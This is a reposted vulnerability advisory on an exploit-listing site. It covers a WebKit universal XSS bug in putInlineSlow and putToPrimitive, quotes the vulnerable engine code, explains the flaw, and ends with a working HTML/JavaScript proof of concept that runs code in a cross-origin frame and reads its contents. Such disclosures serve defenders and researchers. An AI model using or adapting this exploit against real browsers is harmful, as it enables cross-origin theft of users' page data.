Registerwebkit universal xss in jsobject::putinlineslow and jsvalue::puttoprimitive
▸▸▸ Exploit & Vulnerability >> dos exploit & multiple vulnerability
Online Vulnerability Scanner Tools
Code...
VULNERABILITY DETAILS ``` bool JSObject::putInlineSlow(ExecState* exec, PropertyName propertyName, JSValue value, PutPropertySlot& slot) { ASSERT(!isThisValueAltered(slot, this)); VM& vm = exec->vm(); auto scope = DECLARE_THROW_SCOPE(vm); JSObject* obj = this; for (;;) { unsigned attributes; PropertyOffset offset = obj->structure(vm)->get(vm, propertyName, attributes); // ***1*** if (isValidOffset(offset)) { if (attributes & PropertyAttribute::ReadOnly) { ASSERT(this->prototypeChainMayInterceptStoreTo(vm, propertyName) || obj == this); return typeError(exec, scope, slot.isStrictMode(), ReadonlyPropertyWriteError); } JSValue gs = obj->getDirect(offset); if (gs.isGetterSetter()) { // We need to make sure that we decide to cache this property before we potentially execute aribitrary JS. if (!structure(vm)->isDictionary()) slot.setCacheableSetter(obj, offset); bool result = callSetter(exec, slot.thisValue(), gs, value, slot.isStrictMode() ? StrictMode : NotStrictMode); // ***2*** RETURN_IF_EXCEPTION(scope, false); return result; } if (gs.isCustomGetterSetter()) { // We need to make sure that we decide to cache this property before we potentially execute aribitrary JS. if (attributes & PropertyAttribute::CustomAccessor) slot.setCustomAccessor(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter()); else slot.setCustomValue(obj, jsCast<CustomGetterSetter*>(gs.asCell())->setter()); bool result = callCustomSetter(exec, gs, attributes & PropertyAttribute::CustomAccessor, obj, slot.thisValue(), value); RETURN_IF_EXCEPTION(scope, false); return result; } ASSERT(!(attributes & PropertyAttribute::Accessor)); // If there's an existing property on the object or one of its // prototypes it should be replaced, so break here. break; } [...] JSValue prototype = obj->getPrototype(vm, exec); RETURN_IF_EXCEPTION(scope, false); if (prototype.isNull()) break; obj = asObject(prototype); } ``` This is an extension of https://bugs.chromium.org/p/project-zero/issues/detail?id=1240. `putInlineSlow` and `putToPrimitive` now call the access-checked `getPrototype` method instead of `getPrototypeDirect`. However, they still use `Structure::get` directly[1], which bypasses access checks implemented in functions that override `JSObject::put`. Thus, an attacker can put a cross-origin object into the prototype chain of a regular object and trigger the invocation of a cross-origin setter. If the setter raises an exception while processing the passed value, it's possible to leak the exception object and gain access to, e.g., another window's function constructor. Since this issue is only exploitable when a victim page defines a custom accessor property on the `location` object, its practical impact is minimal. VERSION WebKit revision 247430 Safari version 12.1.1 (14607.2.6.1.1) REPRODUCTION CASE <body> <script> frame = document.body.appendChild(document.createElement('iframe')); frame.src = `data:text/html, <h1>secret data</h1> <script> location.__defineSetter__('foo', function(value) { alert('Received value: ' + value); }); </s` + `cript>`; function turnLeakedExceptionIntoUXSS(object) { try { object.foo = {toString: function() { return {} } }; } catch (e) { let func = e.constructor.constructor; func('alert(document.body.innerHTML)')(); } } frame.onload = () => { // putInlineSlow turnLeakedExceptionIntoUXSS({__proto__: frame.contentWindow.location}); // putToPrimitive num = 1337; num.__proto__.__proto__ = frame.contentWindow.location; turnLeakedExceptionIntoUXSS(num); } </script> </body>
Webkit universal xss in jsobject::putinlineslow and jsvalue::puttoprimitive Vulnerability / Exploit Source : Webkit universal xss in jsobject::putinlineslow and jsvalue::puttoprimitive
Last Vulnerability or Exploits
Easy integrations and simple setup help you start scanning in just some minutes